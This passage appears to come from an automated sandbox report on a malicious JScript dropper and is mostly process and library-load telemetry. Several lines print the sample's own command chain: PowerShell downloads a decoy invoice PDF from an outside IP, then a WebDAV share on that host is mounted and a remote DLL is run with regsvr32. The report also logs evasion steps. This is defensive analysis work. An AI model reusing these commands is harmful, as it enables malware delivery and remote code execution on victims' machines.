Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1914.js.csv");ITextStream.WriteLine(" entry:8028 f:tujtpzcn");ITextStream.WriteLine(" exec:2 f:tujtpzcn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4053			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5532			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7004	Thread sleep count: 4053 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7004	Thread sleep count: 5532 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3868	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2920	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1900	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1272	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6936	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000002.1766817881.0000029BE75B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766105536.0000029BE7618000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1764561153.0000029BE7618000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3000958537.000001FF2A858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2999770510.000001FF2522B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\20576287220625.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
